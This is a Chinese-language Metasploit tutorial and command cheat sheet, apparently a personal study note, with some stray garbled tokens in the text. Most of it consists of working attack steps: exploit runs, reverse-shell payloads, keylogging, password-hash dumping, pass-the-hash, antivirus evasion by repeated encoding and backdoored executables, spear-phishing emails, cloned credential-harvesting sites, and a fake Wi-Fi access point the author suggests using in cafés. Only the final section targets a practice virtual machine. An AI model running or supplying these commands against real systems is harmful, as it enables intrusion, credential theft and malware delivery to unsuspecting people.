metasploit

一.名詞解釋php

exploit
測試者利用它來***一個系統,程序,或服務,以得到開發者意料以外的結果。常見的有內存溢出,網站程序漏洞利用,配置錯誤exploit。
payload
咱們想讓被***系統執行的程序,如reverse shell 能夠從目標機器與測試者之間創建一 個反響鏈接,bind shell 綁定一個執行命令的通道至測試者的機器。payload 也能夠是隻能在目標機器上執行有限命令的程序。
shellcode
是進行***時的一系列被看成payload 的指令,一般在目標機器上執行以後提供一個可執行命令的shell。
module
msf 的模塊,由一系列代碼組成。
listener
等待來自被***機器的incoming 鏈接的監聽在測試者機器上的程序
html

二. 編碼器

msfencode –l 查看可用的編碼器(encoders),效果最佳的是x86/shikata_ga_naijava

三.信息刺探與收集 一、***第一步:基礎信息收集

①whois 查詢:
msf > whois example.com
msf> whois 192.168.1.100
python

②在線手機服務器IP工具mysql

③nslookup
set type=mx
example.com
linux

二、用 Nmap 探測開放端口和服務:

-sS SYN 半開掃描
-sT TCP 半開掃描
-Pn 不使用ping方式探測主機
-A 探測服務類型
-6 開啓IPV6 掃描
-O 探測操做系統版本
web

經常使用掃描參數組合:
nmap –sS –Pn 192.168.0.111
nmap –sS –Pn –A 192.168.0.111
sql

三、MSF 與postgresql 協同工做

/etc/init.d/postgreql-8.3 start
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_status
導入nmap 掃描的結果:
nmap –sS –Pn –A –oX Subnet1 192.168.1.0/24 # -oX 掃描結果導出爲Subnet1.xml
msf> db_import Subnet1.xml
msf> db_hosts –c address #查看導入的主機IP
(msf 也能夠和MySQL 一塊兒工做,在bt5 r1 中msf 默認支持鏈接mysql:
msf> db_driver mysql
msf> db_connect root:toor@127.0.0.1/msf3 #鏈接本機mysql 的msf3 數據庫
mysql 默認密碼toor,使用db_connect 鏈接時會自動建立msf3 庫)
shell

四、高級掃描方式:

①msf> use auxiliary/scanner/ip/ipidseq #IPID 序列掃描器,與nmap 的-sI -O 選項相似
show options
set RHOSTS 192.168.1.0/24
set RPORT 8080
set THREADS 50
run
(RHOSTS、RPORT 等參數也能夠用小寫)
②msf> nmap –PN –sI 192.168.1.09 192.168.1.155
③nmap 鏈接數據庫:
msf> db_connect postgres:toor@127.0.0.1/msf
msf> db_nmap –sS –A 192.168.1.111
msf> db_services #查看掃描結果
④使用portscan 模塊:
msf> search postscan
msf> use scanner/postscan/syn
set RHOSTS 192.168.1.111
set THREADS 50
run
數據庫

五、特定掃描:

smb_version 模塊:
msf> use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.111
run
db_hosts –c address,os_flavor
查找mssql 主機:
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
SSH 服務器掃描:
msf> use auxiliary/scanner/ssh/ssh_version
set THREADS 50
run
FTP 主機掃描:
msf> use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run
掃描FTP 匿名登陸:
use auxiliary/scanner/ftp/anonymos
set RHOSTS 192.168.1.0/24
set THREADS 50
run
掃描SNMP 主機:
msf> use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

四.基本漏洞掃描

一、使用nc 與目標端口通訊,獲取目標端口的信息:
nc 192.168.1.111 80
GET HTTP 1/1
Server: Microsoft-IIS/5.1
(1):還有一個功能與nc 相似的工具Ncat,產自nmap 社區,可實現相同功能:
ncat -C 192.168.1.111 80
GET / HTTP/1.0

(2):題外:ncat 還能夠作聊天服務器呢!在服務器端監聽而後多個客戶端直接連上就
能夠聊天了:服務器(chatserver):ncatncat -l –chat 其餘客戶端:ncat chatserver

(3):ncat 還能夠用來查看各類客戶端的請求信息,好比論壇裏有人問中國菜刀有木有後門,那麼能夠這樣查看中國菜刀鏈接後門時發送的數據:
服務器(server.example.com)上:ncat -l –keep-open 80 –output caidao.log > /dev/null
而後使用菜刀鏈接http://server.example.com/nc.php 並請求操做,這是菜刀發送的數據就保存到服務器的caidao.log 裏面了。也能夠導出爲hex 格式,–output 換爲–hex-dump就能夠了。

(4):其實與nc 功能相似的工具在bt5 裏面還有不少,好比還有一個sbd:
監聽:sbd -l -p 12345
鏈接:sbd 192.168.1.111 12345

(5):固然也能夠用來聊天,與ncat 的不一樣之處在於ncat 自動對用戶編號user一、user二、…,
而sbd 能夠自定義暱稱,且不須要專門單獨監聽爲聊天服務器:
pc1:sbd -l -p 12345 -P chowner
pc2:sbd pc1 12345 -P evil

(6):其實nc 也能夠用來聊天的:
pc1:nc -l -p 12345
pc2:telnet pc1 12345)

三、與 nessus 結合掃描:

使用Nessus 掃描完成後生成.nessus 格式的報告,導入到MSF:
db_connect postgres:toor@127.0.0.1/msf
db_import /tmp/nessus_report_Host_test.nessus
db_hosts –c address,svcs,vulns
db_vulns
在MSF 中使用Nessus:
db_connect postgres:toor@127.0.0.1/msf
load nessus
nessus_connect nessus:toor@192.168.1.111:8834 ok
nessus_policy_list #查看存在的掃描規則
nessus_scan_new 2 bridge_scan 192.168.1.111 #2 表示規則的ID 號,bridge_scan 自定義掃描名稱
nessus_scan_status #查看掃描進行狀態
nessus_report_list #查看掃描結果
nessus_report_get skjla243-3b5d-* #導入報告
db_hosts –c address,svcs,vulns

四、特殊掃描:

SMB 弱口令:
msf> use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.1.111-222
set SMBUser Administrator
set SMBPass admin
run
VNC 空口令:
msf> use auxiliary/scanner/vnc/vnc_none_auth
set RHOSTS 192.168.1.111
run
Open X11 空口令:
msf> use auxiliary/scanner/x11/open_x11
set RHOST 192.168.1.0/24
set THREADS 50
run
當掃描到此漏洞的主機後可使用xspy 工具來監視對方的鍵盤輸入:
cd /pentest/sniffers/xspy/
./xspy –display 192.168.1.125:0 –delay 100
(xspy 這貨在bt5 r1 裏面貌似木有了)

五.基礎溢出命令

一、基本命令:
查看可用溢出模塊show exploits
查看輔助模塊show auxiliary 包括掃描器,拒絕服務模塊,fuzzer 工具或其餘。
查看可用選項show options
加載模塊後退出此模塊back
例子:
msf> use windows/smb/ms08_067_netapi
back
搜索模塊search
例子: searh mssql search ms08_067
查看當前模塊可用的payload: show payloads
例子:
use windows/smb/ms08_067_netapi
show payloads
set payload windows/shell/reverse_tcp
show options
**查看可選的目標類型**show targets
**查看更多信息**info
設置一個選項或取消設置set/unset
設置或取消全局選項setg/unsetg 例如設置LHOST 就能夠用setg,避免後面重複設置
保存全局選項的設置save 當下次啓動仍然生效
查看創建的session sessions –l
激活session sessions –i num #num 爲session 編號

二、暴力端口探測:
當主機端口對外開放可是普通探測方法沒法探測到時,用此模塊,msf 將對目標的全部
端口進行嘗試,直到找到一個開放端口並與測試者創建鏈接。
例子:
use exploit/windows/smb/ms08_067_netapi
set LHOST 192.168.1.111
set RHOST 192.168.1.122
set TARGET 39 #Windows XP SP3 Chinese - Simplified (NX)
search ports #搜索與ports 相關模塊
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit –j #做爲後臺任務運行
sessions –l –v
sesssions –i 1

三、MSF 腳本文件:
爲了縮短測試時間能夠將msf 命令寫入一個文件,而後在msf 中加載它。
加載方式:msfconsole 的resource 命令或者msfconsole 加上-r 選項
例子:
echo ‘version’ > resource.rc
echo ‘load sounds’ >> resource.rc
msfconsole –r resource.rc
例子:
echo ‘use exploit/windows/smb/ms08_067_netapi’ > autoexp.rc
echo ‘set RHOST 192.168.1.133’ >> autoexp.rc
echo ‘set PAYLOAD windows/meterpreter/reverse_tcp’ >> autoexp.rc
echo ‘set LHOST 192.168.1.111’ >> autoexp.rc
echo ‘exploit’ >> autoexp.rc
msfconsole
msf> resource autoexp.rc

六.METERPRETER

一、當對目標系統進行溢出時,使用meterpreter 做爲payload,給測試者返回一個shell,可用於在目標機器上執行更多的操做。
例子:
msf> nmap –sT –A –P0 192.168.1.130 #探測開放服務
假如已經探測到1433(TCP)和1434(UDP)端口(mssql),
msf> nmap –sU 192.168.1.130 –P 1434 #確認端口開放
msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit
至此可獲取服務器名稱,版本號等信息。
msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit
暴力猜解登錄密碼。接下來使用mssql 自帶的xp_cmdshell 功能添加帳戶:
msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit
當獲取到一個meterpreter shell 後能夠執行更多的操做:
獲取屏幕截圖:screenshot
獲取系統信息:sysinfo
獲取鍵盤記錄:
meterpreter> ps #查看目標機器進程,假設發現explorer.exe 的進程號爲1668:
meterpreter> migrate 1668 #插入該進程
meterpreter> run post/windows/capture/keylog_recorder #運行鍵盤記錄模塊,將擊鍵記錄保存到本地txt
cat /root/.msf3/loot/*.txt #查看結果
獲取系統帳號密碼:
meterpreter> use priv
meterpreter> run post/windows/gather/hashdump
當獲取到密碼的hash 以後沒法破解出明文密碼且沒法直接使用hash 登錄,須要使用
pass-the-hash 技術:
msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
獲取到系統權限後咱們能夠新建一個普通帳號,而後使用此帳號執行咱們的後門:
在目標機器上執行:net uaer hacker pass /add
本地生成一個後門程序:
msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe
將payload.exe 拷貝到目標機器而後使用新創建的帳號執行本地執行端口監聽,等待來自目標機器鏈接:
msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid
至此取得SYSTEM 權限

二、令牌模擬:
當有域控帳戶登錄至服務器時可以使用令牌模擬進行***取得域控權限,以後登錄其餘機器時不須要登錄密碼。
meterpreter> ps # 查看目標機器進程,找出域控帳戶運行的進程ID,假如發現PID 爲380
meterpreter> steal_token 380
有時ps 命令列出的進程中可能不存在域控帳戶的進程,此時使用incognito 模塊查看可
用token:
meterpreter> use incognito
meterpreter> list_tokens –u #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主機上添加帳戶
meterpreter> add_group_user 「Domain Admins」 hacker –h 192.168.1.50 #將帳戶添加至域管理員組

三、內網***:
當取得同網段內一臺主機的權限後能夠進一步***網內其餘主機:
例子:
meterpreter> run get_local_subnets #查看網段/子網
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #轉入後臺運行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use Linux/samba/lsa_transnames_heap #準備向內網目標主機進攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此處爲attacking 主機的外網IP
set LPORT 8080
set RHOST 192.168.33.132 #內網目標主機
exploit
也可使用自動式添加路由模塊:
msf> load auto_add_route
msf> exploit

四、Meterpreter 腳本:
使用run scriptname 方式執行
①vnc 腳本,獲取遠程機器vnc 界面控制
meterpreter> run vnc
meterpreter> run screen_unlock
②進程遷移
當***成功後將鏈接進程從不穩定進程(如使用瀏覽器溢出漏洞exp 進行***時瀏覽器可能會被目標關閉)遷移至穩定進程(explorer.exe),保持可鏈接。
例子:
meterpreter> run post/windows/manage/migrate
(在64 位win7 中migrate 須要管理員權限執行後門才能成功,而migrate 先後獲取的
權限是有差別的。)
③關閉殺毒軟件
meterpreter> run killav (這個腳本要當心使用,可能致使目標機器藍屏死機。)
④獲取系統密碼hash
meterpreter> run hashdump
(64 位win7 下須要管理員權限執行後門且先getsystem,而後使用
run post/windows/gather/hashdump 來dump hash 成功率更高。
並且若是要使用shell 添加系統帳戶的話win7 下得先:
run post/windows/escalate/bypassuac ,否則可能不會成功。)
⑤獲取系統流量數據
meterpreter> run packtrecorder –i 1
⑥直搗黃龍
能夠幹不少事情:獲取密碼,下載註冊表,獲取系統信息等
meterpreter> run scraper
⑦持久保持
當目標機器重啓以後仍然能夠控制
meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111
-X 開機啓動-i 鏈接超時時間–p 端口–rIP
下次鏈接時:
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit
(會在如下位置和註冊表以隨機文件名寫入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)
⑧POST 整合模塊
可實現同時多個session 操做
例子:獲取hash
meterpreter> run post/windows/gather/hashdump
其餘還有不少,使用TAB 鍵補全看下就知道run post/

五、升級command shell
例子:
msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #後臺運行,若是此處未使用-z 參數,後面能夠按CTRL-Z 轉到後臺
sessions –u 1 #升級shell,必須前面使用setg 設定
sessions –i 2

六、使用Railgun 操做windows APIs
例子:
meterpreter> irb

client.railgun.user32.MessageBoxA(o,」hello」,」world」,」MB_OK」)
在目標機器上會彈出一個標題欄爲world 和內容爲hello 的窗口

七.避開殺軟

一、使用msfpayload 建立可執行後門:
例子:
msfpayload windows/shell_reverse_tcp 0 #查看選項
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X >
/var/www/payload1.exe
而後本機監聽端口
msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

二、過殺軟—使用msfencode 編碼後門:
msfencode –l #列出可用編碼器
例子:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R
|msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe
使用R 參數做爲raw 輸出至管道,再通過msfencode 處理,最後導出。

三、屢次編碼:
例子:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/alpha_upper –c 2 –t raw |
msfencode –e x86/shikata_ga_nai –c 5 –t raw | msfencode –e x86/countdown –c 5 –t exe –o
/var/www/payload3.exe
簡單編碼被殺機會很大,使用屢次編碼效果更好,這裏一共使用了17 次循環編碼。
(題外:經測試,1:使用此命令生成的後門也被MSE 殺到;2:未編碼的後門或編碼次數較少的後門能夠直接被秒殺;3:windows/x64/meterpreter/reverse_tcp 生成的後門未經任何處理仍然不被殺,看來殺毒軟件×××了;4:x86 編碼器編碼的後門在64 位機器上沒法執行;5:360 有個沙箱功能,後門文件右鍵選擇「在360 隔離沙箱中運行」,msf照樣能夠鏈接並操做,看來隔離沙箱功能有限。)

四、自定義可執行程序模板:
msfencode 默認使用data/templates/templates.exe(msf v4 在templates 目錄下有針對不一樣
平臺的不一樣模板)做爲可執行程序的模板,殺毒廠商也不是×××,因此這裏最好使用自定義模板,如:
wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5
在目標機器上運行,而後本地使用msfcli 監聽端口等待反彈鏈接:
msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111
LPORT=8080 E

五、暗度陳倉—猥瑣執行payload:
綁定payload 至一個可執行文件,讓目標不知不覺間中招,以putty.exe 爲例:
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode
–t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5
假如選擇一個GUI 界面的程序做爲綁定目標而且不使用-k 選項,則目標執行此程序的時候不會彈出cmd 窗口,-k 選項的做用是payload 獨立於模板軟件的進程運行。

六、加殼:
msfencode 部分編碼器會增長程序體積,這時可以使用殼(packer)來壓縮程序,「帶套以後更保險」,例如UPX :
apt-get install upx
最新版可到sf.NET 下載
使用方法:
upx -5 /var/www/payload3.exe
還有另一個工具msfvenom 結合了msfpayload 和msfencode 的功能,使用起來更省心,
親,必定要試試哦!過殺軟總結起來就是屢次編碼和使用多種殼,終極大法就是使用本身編寫的後門(市面上沒有,被殺概率更低)。

八.使用用戶端***方式(client-side attacks)

一、主要指利用多種途徑包括社會工程學方式***目標機器上安裝的帶有漏洞的程序如瀏覽
器,pdf 閱讀器,office 軟件等,最終獲取系統權限。
基於瀏覽器的***:
例子:
msf> use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80
set URIPATH /
set LHOST 192.168.1.111
set LPORT 443
exploit –z
sessions –i 1
run migrate
或者:
msf> use windows/browser/ms10_002_aurora
show advanced
set ReverseConnectRetries 10
set AutoRunScript migrate –f
exploit
use priv
getsystem

二、文件格式exploit
利用文件格式的漏洞達到溢出的目的,好比PDF,word,圖片等。
例子:
msf> use windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit
此時會生成一個msf.doc 的word 文檔,在目標機器上打開此文檔,而後本機監聽端口
等待反彈鏈接:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit –j

九.MSF 附加模塊

包括端口掃描,服務探測,弱口令探測,fuzzer,sql 注射等。附加模塊沒有payload。
模塊保存在/opt/framework3/msf3/modules/auxiliary/目錄中的各個子目錄下。
可用命令查看所有可用附加模塊:msf> show auxiliary
例子:
msf> use scanner/http/webdav_scanner
info
show options
set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222
run
搜索全部http 相關掃描模塊:
search scanner/http
附加模塊深層剖析:
cd /opt/framework3/msf3/modules/auxiliary/admin/
wget
http://carnal0wnage.googlecode.c … admin/random/foursq
ueare.rb
代碼分析:

require ‘msf/core’ class metasploit3 < Msf::Auxiliary #導入Auxiliaary 類 #Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient #導入HTTPClient 方法 include Msf::Auxiliary::Report def initialize super( ‘Name’ => ‘Foursquare Location Poster’, ‘Version’ => ‘Revision:’, ‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue id’, ‘Author’ => [‘CG’], ‘License’ => MSF_LICENSE, ‘References’ => [ [‘URL’,’http://groups.google.com/group/foursquare-api’], [‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’], ] #todo pass in geocoords instead of venueid,create a venueid, other tom foolery register_options( [ Opt::RHOST(‘api.foursquare.com’), OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]), OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]), OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]), ],self.class) end def run begin user = datastore[‘USERNAME’] pass = datasore[‘PASSWORD’] venid = datastore[‘VENUEID’] user_pass = Rex::Text.encode_base64(user + 「:」 + pass) decode = Rex::Text.decode_base64(user_pass) postrequest = 「twitter=1\n」 #add facebook=1 if you want facebook print_status(「Base64 Encode User/Pass: #{user_pass}」) #debug print_status(「Base64 Decode User/Pass: #{decode}」) #debug res = send_request_cgi({ ‘uri’ => 「/v1/checkin?vid=#{venid}」, ‘version’ => 「1.1」, ‘method’ => ‘POST’, ‘data’ => postrequest, ‘headers’ => { ‘Authorization’ => 「Basic #{user_pass}」, ‘Proxy-Connection’=> 「Keep-Alive」, } },25) print_status(「#{res}」) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE =>e pus e.message end end

ruby 白癡一個,代碼我也沒看懂,不解釋了
如何使用:
msf> search foursquare
msf> use admin/foursquare
set VENUEID 2584421
set USERNAME msf@elwood.net
set PASSWORD ilovemetasploit
run

十.社會工程學工具集(SET)

主要功能:hacking the human mind。
一、SET 基本配置:
SET 位於/pentest/exploits/set/目錄
更新:
cd /pentest/exploits/set/
svn update
配置文件config/set_config,當使用基於web 的***方式時能夠將email 功能打開:
vi config/set_config:
METASPLOIT_PATH=/opt/framework3/msf3
WEBATTACK_EMAIL=ON
使用Javaapplet attack 進行***的時候默認使用Microsoft 做爲發佈者名稱,若是須要自定義則須要安裝JDK 並打開配置項:
SELF_SIGNED_APPLET=ON
SET 默認打開AUTO_DETECT 項,自動探測本機IP 並用於***中的各項配置。若是本機是多網卡須要手動指定IP,則需將此項關閉:
AUTO_DETECT=OFF
SET 默認使用內建的Python 提供的web server 供使用,如需使用apache 做爲服務則須要本機安裝apache 並打開配置項:
APACHE_SERVER=ON

二、網絡釣魚***(Spear-Phishing Attack Vector):
利用文件格式漏洞(如PDF)等生成後門並經過email(GMAIL,SENDMAIL,)向目標發送帶後門附件的電子郵件,誘使目標打開附件激活後門。
例子:
./set
此時選擇菜單1.Spear-Phishing Attack Vectors
繼續選擇:1.Perform a Mass Email Attack
選擇exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow
選擇payload:4.Windows Reverse TCP Shell
選擇是否更改文件名:1.Keep the filename
選擇發送郵件方式1.Email Attack Single Email Address
選擇郵件模板1.Pre-Defined Template
5.Status Report
輸入收件方email 地址:webmanager@exmaple.com
選擇發件方式:1.Use a GMAIL Account for your email attack
輸入發件gmail 和密碼
選擇是否當即監聽端口等待鏈接:yes
此時SET 會使用剛纔的設定全自動監聽指定端口。

三、WEB 方式***:
SET 能夠克隆一個網站並植入後門以此迷惑目標打開此網站並中招。
Java Applet 方式:最成功的方式之一,並非利用java 的漏洞,而是當目標瀏覽含後門的仿冒站點時會被詢問是否容許執行web 中的java applet,一旦點擊容許則payload 開始運行,目標將被重定向到真實的網站。
用戶端(Client-side)web exploit 方式:利用用戶端存在的軟件漏洞,通常使用0day進行***的效果最好。
帳號密碼獲取(Username and Password Harvesting):經過克隆一個目標站並誘使***目標登錄,截獲其帳號密碼。例如截獲GMAIL 密碼。
標籤頁綁架(Tabnabbing):當目標打開多個標籤頁瀏覽網站並切換標籤頁時,網站偵測到目標的行爲並顯示讓目標等待的信息,剛好目標打開了被綁架的標籤頁並要求在類似程度驚人的網站裏輸入登錄憑據,當目標輸入以後登錄信息即被截獲,同時被重定向到真實網站。
中間人***(Man-Left-in-the-Middle):此方式使用已經被攻陷的網站的HTTP 請求或者網站的XSS 漏洞讓用戶的登錄信息發送至***者的HTTP 服務器。若是你發現了一個網站的XSS 漏洞,能夠利用此漏洞構造一個url 發送給目標誘使其打開並登錄以截獲登錄信息。
Web Jacking:當目標打開咱們的網站時會有一個連接顯示爲正確的web 地址,此時若目標打開此仿冒連接會被定向到咱們的仿冒網站,其登錄信息會被截獲。
混合模式(multi-attack):可同時使用以上多種***手段以提升成功率。
介質感染***(Infectious Media Generator):可讓你生成一張光盤或者u 盤,裏面包含autorun.inf 來運行指定的後門文件或者file-format 漏洞文件。
迷你USB 人機接口設備(Teensy USB HID):當電腦插入USB 設備且autorun.inf 被禁用時,可以使用此方法將USB 設備模擬成一個鍵盤或鼠標設備,進而截獲目標機器的擊鍵記錄。
SET 其餘特殊功能:
包括SET 交互式shell,可用來替代meterpreter;遠程管理工具(RATTE);HTTP 隧道,當目標主機只開放HTTP 端口對外放行時可經過此功能與主機進行通訊;WEB-GUI,包含了經常使用***和無線***嚮導,輸入./set-web 便可運行。
(SET 新版本變更較大,請自行摸索。)

十一.FAST-TRACK

Fast-Track 和SET 同樣都是python 編寫的,一樣是使用MSF 提供的payload 以及用戶端***嚮導等,做爲對MSF 的補充,它提供瞭如MSSQL ***,更多的exploit,瀏覽器***嚮導等。fasttrack 位於/pentest/exploits/fasttrack/。
交互式模式:./fast-track.py -i
命令行模式:./fast-track.py -c
Web 界面模式:./fast-track.py -g

一、MSSQL 工具:
MSSQL 注入漏洞***:
***時你只須要輸入有注入漏洞的url 地址,地址裏面用INJECTHERE 標識可注入字
段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track 會全自動注入,一旦成功會給你返回一個cmd shell。
注入也支持POST 參數,若是是POST 的話更加簡單,只須要你輸入url 地址,fast-track會自動判斷並嘗試進行注入。
SQL 暴力破解:另一個實用的功能是暴力破解器(MSSQL Bruter),能夠尋找mssql弱口令,一旦獲取到一個sa 權限的訪問權限,將自動返回一個shell。
SQL 注入批量掃描器(SQLPwnage):此功能可掃描指定網段的全部打開80 端口的主
機,並掃描是否存在sql 注入點,一旦發現注入點將自動嘗試***並經過xp_cmdshell
獲取系統權限。

二、Binary-HEX 轉換器:
當你已經進入一個系統且須要上傳可執行文件上去,就可使用這個工具將可執行的二進制文件轉換爲HEX 十六進制編碼,而後複製粘貼過去便可。

三、批量用戶端***:
和瀏覽器***差很少,可是增長了對目標的ARP 緩衝區和DNS 感染(只能是在測試者
和目標處於同一網段的狀況下),以及MSF 裏面沒有的瀏覽器溢出exploit。當目標瀏覽
惡意網站的時候,fast-track 嘗試着使用全部的exp 對目標機器進行溢出,一旦某個exp
起做用將獲取到目標機器的控制權限。
(新版本fasttrack 中還加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator 等新功能。)
腳本化的工具備時確實能減小不少工做時間,可是不能徹底依賴於這類自動程度很高的
工具,特別是在用這些工具搞不定目標的時候,手工測試的能力每每纔是王道,細節決定成敗。

十二.KARMERASPLOIT

Karmetasploit = Karma + Metasploit,也能夠說成它是MSF 的KARMA 實現。
Karma 和MSF 同樣也是使用ruby 語言編寫的,其功能是創建一個虛假的無線接入點,
等待目標鏈接上鉤。與MSF 結合可實現更強大的功能。Karmetasploit 集成了DNS,POP3,
IMAP4,SMTP,FTP,SMB,HTTP 等服務用於***,模塊位於modules/auxiliary/server 目錄下。
基本配置:
須要的配置很少,首先須要配置一個DHCP 服務爲目標提供動態IP 分配,配置文件:
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;}

將配置文件保存在/etc/dhcp3/dhcpd.conf
下一步下載karma msf 腳本:
wget http://www.offensive-security.com/downloads/karma.rc
將網卡激活爲監聽模式:
airmon-ng start wlan0
建立假裝接入點,-P 可被掃描到,-C 信號發射速率,-e 接入點名稱(須要具備欺騙性),
-v 指定網卡,mon0 爲上一步完成後生成的:
airbase-ng -P -C 30 -e 「China-Net-Free」 -v mon0
此時會生成一個名爲at0 的新網卡接口。
接着打開DHCP 服務:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
檢查是否成功啓動:
ps aux|grep dhcpd
tail -f /var/log/messages
下一步加載karma 腳本:
msf> resource karma.rc
等待收穫:
當對方打開郵件客戶端並登錄收取郵件,那麼他的帳戶密碼將被截獲,由於他所鏈接的
DNS 和POP3 都是虛假的。
當對方打開瀏覽器準備瀏覽網頁時karma 開始截取cookie,創建虛假email,DNS 等服
務,加載exploits 來對付客戶端瀏覽器,若是走運的話能夠獲取到shell。
總結:建議這招能夠拿到麥當勞,星巴克用,效果更好。

十三.構建本身的模塊,編寫本身的exploit,meterpreter腳本編程

這三章留着後面看,須要有ruby 基礎等編程基礎。

十四.***實戰演習
首先須要下載並安裝一個專門用來練習***的虛擬機Metasploitable:
http://updates.metasploit.com/data/Metasploitable.zip.torrent
虛擬機IP:172.16.32.162 用戶名密碼:msfadmin
WINXP:172.16.32.131 開放80 端口有防火牆
情報收集:
nmap -sT -P0 172.16.32.131
msfconsole:
cd /opt/framework3/msf3/
msfconsole
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.15.32.129
set lport 443
load auto_add_route
exploit -j
run getgui -e -f 8080
shell
net user msf msf /add
net localgroup administrators msf /add
upload nmap.exe
nmap.exe -sT -A -P0 172.16.32.162
msf> use auxiliary/scanner/ftp/ftp_version
set RHOSTS 172.16.32.162
run
msf> use auxiliary/scanner/smtp/smtp_version
set RHOSTS 172.16.32.162
run
search tomcat_mgr_login
set rhosts 172.16.32.162
set threads 50
set rport 8180
set verbose false
run
use multi/http/tomcat_mgr_deploy
set password tomcat
set username tomcat
set rhost 172.16.32.162
set lport 9999
set rport 8180
set payload linux/x86/shell_bind_tcp
exploit
search distcc_exec
set payload linux/x86/shell_reverse_tcp
set lhost 172.16.32.129
set rhost 172.16.32.162
show payloads
set payload cmd/unix/reverse
exploit

十五.經常使用命令備忘

MSFconsole Commands

show exploits 查看全部exploit
show payloads 查看全部payload
show auxiliary 查看全部auxiliary
search name 搜索exploit 等
info 查看加載模塊的信息
use name 加載模塊
LHOST 本機IP
RHOST 目標IP
set function 設置選項值
setg function 全局設置
show options 查看選項
show targets 查看exp 可選的平臺
set target num 設置exp 做用平臺
set payload payload 設置payload
show advanced 查看高級選項
set autorunscript migrate -f 設置自動執行指令
check 測試是否可利用
exploit 執行exp 或模塊
exploit -j 做爲後臺執行
exploit -z 成功後不當即打開session
exploit -e encoder 指定encoder
exploit -h 查看幫助信息
sessions -l -v 列出可用sessions 詳細信息
sessions -s script 在指定session 執行腳本
sessions -K 結束session
sessions -c cmd 執行指定命令
sessions -u sessionID 升級shell
db_create name 建立數據庫
db_connect name 鏈接數據庫
